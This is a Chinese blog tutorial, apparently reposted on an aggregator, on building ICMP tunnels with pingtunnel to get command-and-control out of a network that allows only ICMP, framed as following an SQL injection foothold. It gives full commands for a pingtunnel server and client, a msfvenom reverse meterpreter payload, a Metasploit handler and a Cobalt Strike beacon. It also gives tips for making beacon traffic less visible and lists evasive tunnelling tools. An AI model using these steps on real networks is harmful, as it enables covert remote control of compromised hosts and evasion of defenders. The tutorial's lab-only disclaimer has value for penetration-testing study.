【内网穿透】隐蔽通信隧道技术之建立ICMP隧道

news2024/10/7 11:31:50

一、基础知识

1、概述

一般的网络通信、先在两台机器之间建立 TCP 连接,然后进行正常的数据通信。在知道P 地址的情况下、可以直接发送报文:如果不知道 P 地址,就需要将域名解析成P 地址。在实际的网络中、通常会通过各种边界设备、软/硬件防火墙甚至人侵检测系统来检查对外连接的情况,如果发现异常,就会对通信进行阻断。
什么是隧道?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方进行通信。当被封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应的服务器上。常用的隧道列举如下。

  • 网络层:IPv6 隧道、ICMP 隧道、GRE 隧道
  • 传输层:TCP隧道、UDP 隧道、常规端口转发
  • 应用层:SSH 隧道、HTTP 隧道、HTTPS 隧道、DNS 隧道

2、判断内网的连通性

判断内网的连通性是指判断机器能否上外网等。要综合判断各种协议(TCP、HTTP、DNS,ICMP等)及端口通信的情况。常见的允许流量流出的端口有 80、8080、443、53、110、123 等。常用的内网连通性判断方法有:

  • ICMP协议:执行命令“ping <IP地址或域名>”
  • TCP协议:netcat(简称nc),通过TCP或UDP协议的网络连接读写数据 nc -l 192.168.191.1 80
  • HTTP协议: curl www.baidu.com
  • dns协议:nslookup

内网穿透常用工具

1.网络层工具
  • icmpsh
能通过ICMP协议反弹cmd,功能单一,反弹回来的cmd极不稳定,不推荐使用
  • icmptunnel
创建虚拟网卡通过ICMP协议传输网卡流量,基于ICMP隧道的vpn,需要root权限,动静极大,不推荐使用
  • pingtunnel
tcp、udp、socks5 over ICMP,速度快,连接稳定,跨平台,client模式不需要管理员权限即可正常使用,推荐使用
2.传输层隧道工具
  • netcat
网络工具中的瑞士军刀,不多介绍,linux系统一般自带
  • powercat
powershell版的netcat
  • socat
具有记录转发流的功能,方便查看转发内容,需要安装
  • netsh
windows系统自带的网络配置工具
  • lcx
端口转发工具
  • NATBypass
一款lcx在golang下的实现,更好的跨平台,更完善的文档
  • iox
端口转发 & 内网代理工具,功能类似于lcx/ew,简化了命令行参数,支持UDP流量转发,更好的跨平台。缺点:不支持监听指定IP,默认监听0.0.0.0:port,会增大暴露风险
3.应用层隧道工具

由于应用层协议极多,对应的隧道工具也很多,我们常用来做隧道的协议一般是DNS、HTTP、SSH、SOCKS等

  • dnscat2
不仅可以创建DNS隧道,更是C2
  • dnscat2-powershell
dnscat2的powershell客户端
  • dns2tcp
TCP over DNS,即通过DNS隧道转发TCP连接
  • iodine
IPv4 over DNS,即通过DNS隧道转发IPv4数据包
  • reGeorg
SOCKS over HTTP,即通过HTTP隧道转发SOCKS
  • Neo-reGeorg
重构版reGeorg,提高稳定性和可用性,避免特征检测,更新活跃
  • reDuh
TCP over HTTP,即通过HTTP隧道转发TCP连接,隧道不稳定
  • Tunna
TCP、SOCKS over HTTP,即通过HTTP隧道转发TCP连接和SOCKS,隧道不稳定
  • ABPTTS
TCP over HTTP,即通过HTTP隧道转发TCP连接,数据加密,可自定义HTTP数据,对抗特征检测十分优秀,创建的隧道十分稳定,比较遗憾的是支持的web脚本类型只有aspx和jsp
  • EarthWorm
十分方便的多级SOCKS代理,已经永久停止更新
  • Termite
EarthWorm的升级版,已经永久停止更新
  • Venom
Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。
  • ssocks
正向和反向的socks工具,可执行文件的大小很小
  • s5.go
go语言编写的socks服务工具,良好的跨平台特性
实战背景

通过某种信道获取了内网主机的shell,但是当前信道不适合做远控的通信信道

(比如站库分离的网站,我们通过sql注入获取了数据库服务器的shell,但是数据库服务器只有icmp协议可以出网)

tcp和udp等传输层协议不能出网,dns、http等应用层协议也不能出网,只有icmp协议可以出网

方案设计

icmp协议可以出网,可以利用icmp协议,构建反向的TCP over ICMP隧道或者SOCKS over ICMP隧道上线远控平台。搭建隧道的工具使用pingtunnel,它能通过icmp隧道转发tcp、udp、socks5连接。

二、工具安装

1.kali 安装pingtunnel

https://github.com/esrrhs/pingtunnel/releases

2.kali安装libpcap

wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz 
cd libpcap-1.9.0
./configure

3.windows 10(真机) 安装pingtunnel

https://github.com/esrrhs/pingtunnel/releases

二、模拟实战

**实战背景:**通过某种信道获取了内网主机的shell,但是当前信道不适合做远控的通信信道(比如站库分离的网站,我们通过sql注入获取了数据库服务器的shell,但是数据库服务器只有icmp协议可以出网),tcp和udp等传输层协议不能出网,dns、http等应用层协议也不能出网,只有icmp协议可以出网。

方案设计

icmp协议可以出网,可以利用icmp协议,构建反向的TCP over ICMP隧道或者SOCKS over ICMP隧道上线远控平台。搭建隧道的工具使用pingtunnel,它能通过icmp隧道转发tcp、udp、socks5连接。

构建icmp隧道转发tcp,上线metasploit

1.准备好一个具有公网ip的服务器(kali),root权限运行以下命令,启动ICMP隧道,设置type为服务端

./pingtunnel -type server -noprint 1 -nolog 1

image.png
2.ICMP隧道客户端(即需要通过ICMP隧道上线的主机,本来是想通过win 7建立隧道,无奈实在无法实现,只得在真机中进行,稍后会利用CS4.0进行在win7中建立隧道),执行以下命令即可成功创建反向ICMP隧道

#pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip(服务端的IP) -t 
c2_server_ip:7777(C2服务端的IP) -tcp 1 -noprint 1 -nolog 1
该命令的意思是icmp客户端监听127.0.0.1:9999,通过连接到icmpserver_ip的icmp隧道,
将127.0.0.1:9999收到的tcp数据包转发到c2_server_ip:7777

pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.200.14 -t
192.168.200.14:7777 -tcp 1 -noprint 1 -nolog 1

image.png
3.生成反向payload的meterpreter,上传到ICMP隧道客户端执行即可上线

msfvenom -p windows/meterpreter/reverse_https lhost=127.0.0.1(目标本地IP)
lport=9999 -f exe -o meterpreter.exe
# 这里的lhost和lport为icmp客户端监听ip和端口

image.png
4.启动msf监听,等待meterpreter执行上线

# 这里的lhost和lport为icmp客户端转发到的ip和端口
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf5 exploit(multi/handler) > set lport 7777
lport => 7777
msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://0.0.0.0:7777

image.png

分析:流量走向:pingtunnel服务端----》pingtunnel客户端7777----》pingtunnel服务端7777

通过Cobaltstrike(4.0)上线

1。root权限运行以下命令,启动ICMP隧道(kali

./pingtunnel -type server -noprint 1 -nolog 1

2.ICMP隧道客户端(win 7)

pingtunnel.exe -type client -l :7777 -s 192.168.200.14 -t
192.168.200.47:8899 -tcp 1 -noprint 1 -nolog 1

#监听客户端本地的7777端口,然后通过192.168.200.14来连接到ICMP隧道,
将客户端7777收到的tcp数据包转发到服务端 cs192.168.200.47:8899 

image.png

服务端搭建

将下载后的 Cobaltstrike 4.0 安装包上传到 VPS 服务器(Ubuntu)上并解压缩,服务端关键的文件是 teamserver,先将其修改位可执行文件,再执行./teamserver可以看到如下说明:

./teamserver 服务端IP地址  连接服务器密码(任意)

启动 CS 服务
image.png
【注意】:
1、Teamserver 必须以 root 权限运行
2、若出现权限问题执行命令赋予权限:chmod 777 teamserver

客户端连接

Cobaltstrike 客户端在 Windows、Linux、Mac下都可以运行 (需要 Java 环境)。启动 Cobalt Strike 客户端,输入服务端的IP以及端口、连接密码,用户名可以任意设置
image.png
如下界面,已成功连接到 CS 服务端
image.png
设置监听的本地的IP地址7777端口
image.png

image.png
生成后门
image.png
在受害主机本地执行,选择第2个payload,于是将生成的payload上传至受害主机win 7
image.png
将生成的 Payload 文件 beacon.exe(或者xxxx.exe) 上传后并双击1次运行 Payload即可:
image.png
倘若多次点击,就会上线很多,没什么用处,用任务管理器结束掉即可

Cobalt Strike 客户端出现了目标主机上线
【注意】

  1. 在 Cobalt Strike 中,默认心跳为 60s(即 CS 与受害机默认 60s 才进行一次交互),故执行命令的响应速度很慢,在下载文件时更加明显,所以根据实战环境把时间降低,建议不要太快,否则流量会相对明显。在这里执行命令 sleep 5 可以把交互时间设置为 5 秒。
  2. 同时在 beacon 中,如果想对目标进行命令管理,需要在前面加上shell关键词,如shell whoami、shell ipconfig等

image.png

只针对于本次实验需求设计于此,更多类型玩法请见文章最后的链接!

如有错误,恳请各路佬儿指正,不胜感激!

本次实验记录,只限于个人搭建环境练习,不得用于任何非法用途,否则后果自负!

CS使用参考文章:https://blog.csdn.net/weixin_39190897/article/details/118243520

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1038353.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

React(react18)中组件通信06——redux-toolkit + react-redux

React&#xff08;react18&#xff09;中组件通信06——redux-toolkit react-redux 1 前言1.1 redux 和 react-redux1.2 关于redux-toolkit1.2.1 官网1.2.2 为什么要用Redux Toolkit&#xff1f; 1.3 安装 Redux Toolkit1.4 Redux Toolkit相关API 2. 开始例子——官网例子2.1 …

【Windows】 Windows 10 等系统如何关闭文件夹预览模式

在Windows系统进行文件操作时&#xff0c;由于屏幕尺寸有限&#xff0c;有时感觉文件夹右侧的预览模式很占位置&#xff0c;因此想预览时打开&#xff0c;想关闭时就关闭。 以下是两种解决方案&#xff1a; 方案一&#xff1a;彻底关闭预览模式 方案二&#xff1a;可通过快捷键…

Leetcode 1379.找出克隆二叉树中的相同节点

给你两棵二叉树&#xff0c;原始树 original 和克隆树 cloned&#xff0c;以及一个位于原始树 original 中的目标节点 target。 其中&#xff0c;克隆树 cloned 是原始树 original 的一个 副本 。 请找出在树 cloned 中&#xff0c;与 target 相同 的节点&#xff0c;并返回对…

JDK 21 — JDK 21发布及多项新特性!

一、JDK 21 新特性说明 JDK 21 已经于 2023 年 9 月 19 日正式发布&#xff0c;Java 21 / JDK 21 已正式 GA&#xff0c;此版本是继 JDK 17 后的长期支持版本 (LTS)&#xff0c;Oracle 将为其提供至少八年的技术支持和更新。本文总结了 JDK 21 发布的新特性。 二、JDK 21 正式…

基于PyTorch3D的GeoAI实现【ESRI】

Esri 的 AI 原型团队正在以 PyTorch3D API 的一系列 PR 的形式分享一些功能增强功能。 这些功能支持 obj 格式的网格的输入/输出 (I/O)&#xff0c;该网格具有多个纹理和代表真实世界几何形状的顶点坐标。 对于 GeoAI 任务&#xff0c;这些功能支持跨网格分割管道的任务&#x…

第36节——useDebugValue+React Developer Tools——了解

一、概念 勾住”React开发调试工具中的自定义hook标签&#xff0c;让useDebugValue勾住的自定义hook可以显示额外的信息。useDebugValue的目的是“在react开发者工具自定义hook标签中显示额外信息”&#xff0c;方便我们“一眼就能找到”对应的自定义hook。useDebugValue(valu…

信息安全:网络物理隔离技术原理与应用.

信息安全&#xff1a;网络物理隔离技术原理与应用. 随着网络攻击技术不断增强&#xff0c;恶意入侵内部网络的风险性也相应急剧提高。满足内外网信息及数据交换需求&#xff0c;又能防止网络安全事件出现的安全技术就应运而生了&#xff0c;这种技术称为“物理隔离技术” 基本原…

如何用Postman做接口自动化测试

前言 什么是自动化测试 把人对软件的测试行为转化为由机器执行测试行为的一种实践。 例如GUI自动化测试&#xff0c;模拟人去操作软件界面&#xff0c;把人从简单重复的劳动中解放出来。 本质是用代码去测试另一段代码&#xff0c;属于一种软件开发工作&#xff0c;已经开发完…

应用开发平台集成工作流系列之12——流程导航功能设计与实现

背景 流程模板主要是用于流程建模的&#xff0c;对于业务用户而言&#xff0c;需要一个业务流程的导航页&#xff0c;分门别类展示业务流程清单&#xff0c;用于发起新的流程。 并且需要根据当前用户过滤&#xff0c;只显示有权限发起的流程。 业务流程类别的处理 一个企业的…

OCR -- 文本检测

目标检测&#xff1a; 不仅要解决定位问题&#xff0c;还要解决目标分类问题&#xff0c;给定图像或者视频&#xff0c;找出目标的位置&#xff08;box&#xff09;&#xff0c;并给出目标的类别&#xff1b; 文本检测&#xff1a; 给定输入图像或者视频&#xff0c;找出文本的…

基于 SpringBoot+Vue 的口腔管理平台,附源码,数据库

第一章 简介 本项目&#xff0c;是基于 Java SpringBoot 开发的&#xff0c;主要功能包括首页、个人中心、病例就诊信息管理、复查提醒管理、预约挂号管理、我的收藏管理、订单管理&#xff0c;前台首页&#xff1b;首页、牙齿保健产品、牙齿保护小知识、留言反馈、个人中心、…

React(react18)中组件通信05——redux ➕ react-redux(含数据共享)

React&#xff08;react18&#xff09;中组件通信05——redux ➕ react-redux&#xff08;含数据共享&#xff09; 1. 前言1.1 React中组件通信的其他方式1.2 介绍React-Redux1.2.1 简单介绍React-Redux1.2.2 官网 1.3 安装react-redux 2. 简单改写redux的例子2.1 提供store2.2…

【从0学习Solidity】37. 数字签名 Signature

【从0学习Solidity】37. 数字签名 Signature 博主简介&#xff1a;不写代码没饭吃&#xff0c;一名全栈领域的创作者&#xff0c;专注于研究互联网产品的解决方案和技术。熟悉云原生、微服务架构&#xff0c;分享一些项目实战经验以及前沿技术的见解。关注我们的主页&#xff0…

提示计算机丢失msvcp140.dll怎么办,缺少msvcp140.dll一键修复

在计算机使用过程中&#xff0c;我们可能会遇到各种稀奇古怪的问题。其中&#xff0c;msvcp140.dll 文件丢失算是比较常见的一种。那么&#xff0c;究竟什么是 msvcp140.dll 文件&#xff1f;它为什么会丢失&#xff1f;我们又该如何解决这个问题呢&#xff1f;本文将围绕这些问…

向量数据库库Milvus Cloud2.3 技术选型中性能、成本、扩展性是重点

技术选型中性能、成本、扩展性是重点 对于向量数据库来说,用户最关心的莫过于性能、成本和扩展性。 Milvus 2.x 从 Day 1 开始就将扩展性作为设计的第一优先级,在众多用户环境中落地了十亿至百亿级别场景。不止如此,对于 Milvus 来说,扩展性不仅仅意味着支持百亿级别向量,…

vue指令(代码部分)

注&#xff1a;此部分为学习uni-app时接触到的vue <template><view><view>当前标题&#xff1a;{{title}}</view><view> {{num}}</view><view>{{arr[2]}}</view><view>{{obj}}</view><view>{{obj.name}}&l…

导览软件定制开发方案

随着智能手机的普及和人们对文化、旅游等方面的需求不断增加&#xff0c;导览软件市场前景广阔。本文将围绕导览软件定制开发方案展开&#xff0c;包括以下部分&#xff1a; 一、行业现状及市场需求 导览软件市场发展迅速&#xff0c;各类导览软件层出不穷。通过对市场…

价值1000的情感爆文写作prompt,助你写出10万+阅读微信爆文

原文&#xff1a;价值1000的情感爆文写作prompt&#xff0c;助你写出10万阅读微信爆文 - 知乎 是否经常看到一些自媒体晒出这样的图片&#xff1f; 或者是这样的10w的阅读文章 那么这是真实能赚钱的吗&#xff1f;还是自媒体夸大其说&#xff0c;吸引流量。 我们先简单了解什…

ElementUI之登陆+注册->饿了吗完成用户登录界面搭建,axios之get请求,axios之post请求,跨域,注册界面

饿了吗完成用户注册登录界面搭建axios之get请求axios之post请求跨域 1.饿了吗完成用户注册登录界面搭建 将端口号8080改为8081 导入依赖&#xff0c;在项目根目录使用命令npm install element-ui -S&#xff0c;添加Element-UI模块 -g&#xff1a;将依赖下载node_glodal全局依…

网络上怎么赚点零花钱

现代物质社会中&#xff0c;我们常常会被琐碎的开销困扰。无论是衣食住行还是休闲娱乐&#xff0c;总有一些额外的花费&#xff0c;使我们不得不时常思索如何赚点零花钱。而现如今&#xff0c;随着互联网的飞速发展&#xff0c;我们有了更多的机会通过网络来实现这个目标。现在…